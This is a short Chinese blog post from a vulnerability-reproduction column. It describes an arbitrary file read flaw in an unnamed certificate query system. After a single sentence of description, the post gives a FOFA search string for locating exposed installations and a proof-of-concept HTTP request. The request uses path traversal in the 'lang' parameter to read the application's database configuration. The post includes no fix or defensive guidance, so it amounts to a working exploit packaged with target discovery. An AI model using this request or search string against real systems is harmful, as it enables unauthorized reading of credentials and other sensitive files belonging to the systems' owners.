证书查询系统存在任意文件读取漏洞

棉花糖网络安全圈

于 2024-07-31 12:09:43 发布

阅读量178

点赞数 3

分类专栏：漏洞复现文章标签：网络安全

本文链接：https://blog.csdn.net/jingke666/article/details/140819370

版权

漏洞复现专栏收录该内容

10 篇文章 2 订阅

订阅专栏

详情：

证书查询系统存在任意文件读取漏洞，攻击者可利用此漏洞获取系统敏感文件。

fofa：

"/index/js/jquery.uls.data.js'"

poc：

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7